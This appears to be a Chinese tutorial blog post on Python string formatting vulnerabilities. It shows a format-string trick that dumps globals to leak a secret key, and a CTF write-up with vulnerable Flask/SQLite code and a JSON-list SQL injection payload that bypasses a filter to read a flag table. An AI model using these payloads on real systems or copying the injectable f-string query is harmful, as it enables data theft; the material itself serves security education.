当前位置: 首页 > news >正文

python格式化字符串漏洞

什么是python格式化字符串漏洞

python中,存在几种格式化字符串的方式,然而当我们使用的方式不正确的时候,即格式化的字符串能够被我们控制时,就会导致一些严重的问题,比如获取敏感信息

python常见的格式化字符串

百分号形式进行格式化字符串

>>> name = 'Hu3sky'
>>> 'My name is %s' %name
'My name is Hu3sky'

使用标准库中的模板字符串

string.Template()

>>> from string import Template
>>> name = 'Hu3sky'
>>> s = Template('My name is $name')
>>> s.substitute(name=name)
'My name is Hu3sky'

使用format进行格式化字符串

format的使用就很灵活了,比如以下
最普通的用法就是直接格式化字符串

>>> 'My name is {}'.format('Hu3sky')
'My name is Hu3sky'

指定位置

>>> 'Hello {0} {1}'.format('World','Hacker')
'Hello World Hacker'
>>> 'Hello {1} {0}'.format('World','Hacker')
'Hello Hacker World'

设置参数

>>> 'Hello {name} {age}'.format(name='Hacker',age='17')
'Hello Hacker 17'

百分比格式

>>> 'We have {:.2%}'.format(0.25)
'We have 25.00%'

获取数组的键值

>>> '{arr[2]}'.format(arr=[1,2,3,4,5])
'3'

用法还有很多,就不一一列举了
这里看一种错误的用法
先是正常打印

>>> config = {'SECRET_KEY': 'f0ma7_t3st'}
>>> class User(object):
...     def __init__(self, name):
...             self.name = name
>>> 'Hello {name}'.format(name=user.name)
Hello hu3sky

恶意利用

>>> 'Hello {name}'.format(name=user.__class__.__init__.__globals__)
"Hello {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'config': {'SECRET_KEY': 'f0ma7_t3st'}, 'User': <class '__main__.User'>, 'user': <__main__.User object at 0x03242EF0>}"

可以看到,当我们的name=user.__class__.__init__.__globals__时,就可以将很多敏感的东西给打印出来

Python 格式化字符串漏洞(Django为例) | 离别歌这个里面有很多从的操作实例,我了解到这个是来自XYCTF2025的web-fate

#!/usr/bin/env python3
import flask
import sqlite3

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)

这是题目源码,是一个几乎不可能绕过的sql注入

但是这里的传参使用的是flask.request.get_json(),这个方法没有对传入的类型做检查。因此,我们可以传入非字符串类型的变量

在python中,当我们使用f-string直接传入非字符串参数时,就会被强转为字符串

所以这题可以这样解:

{"code":["1') UNION SELECT FLAG FROM FLAG --","1"]}

传入的code为列表,因而可以通过waf(len为2,没有'元素)随后直接被f-string强转,拼入sql语句,如下:

SELECT name FROM country WHERE code=UPPER('["1') UNION SELECT FLAG FROM FLAG --","1"]')

就可以完成一次SQL注入。拿到FLAG表里的FLAG值。

相关文章:

  • 想写回忆录了讲讲我的故事
  • 《汽车制造技术基础》第一次作业
  • FileOutputStream 详解与记忆方法
  • 第十六届蓝桥杯省赛JavaB组题解
  • Ansible-Playbook详解
  • 第十六届蓝桥杯大赛软件赛省赛 C/C++ 大学B组
  • 【图像处理基石】什么是抗锯齿(Anti-Aliasing)?
  • 上海AI实验室开源Intern VL3系列模型:整体文本性能优于 Qwen2.5 系列
  • maven编译jar踩坑[sqlite.db]
  • [福游宝——AI智能旅游信息查询平台]全栈AI项目-阶段一:Vite前端开荒
  • 【模块化拆解与多视角信息1】基础信息:隐藏的筛选规则——那些简历上没说出口的暗号
  • 使用 Visual Studio 2022 (VS2022) 编译 FreeCAD 1.0.0 的详细教程
  • Model Context Protocol (MCP) - 尝试创建和测试一下MCP Server
  • 探秘Transformer系列之(26)--- KV Cache优化 之 PD分离or合并
  • swift菜鸟教程29-30(泛型,访问控制)
  • 文件上传基本原理靶场实现
  • SpringBoot(一)
  • 融合动态权重与抗刷机制的网文评分系统——基于优书网、IMDB与Reddit的混合算法实践
  • 【源码】SpringBoot源码分析
  • 301.找出3位偶数
  • 施工企业组织机构框架图/seo排名官网
  • 学全屋定制设计怎么入手/seo自动推广工具
  • 武汉网站建设哪家强/信息流优化师怎么入行
  • 网站连通率/bt搜索引擎下载
  • 优享微信网站建设/蚂蚁bt
  • 自己做的网站 能收索么/广州网站到首页排名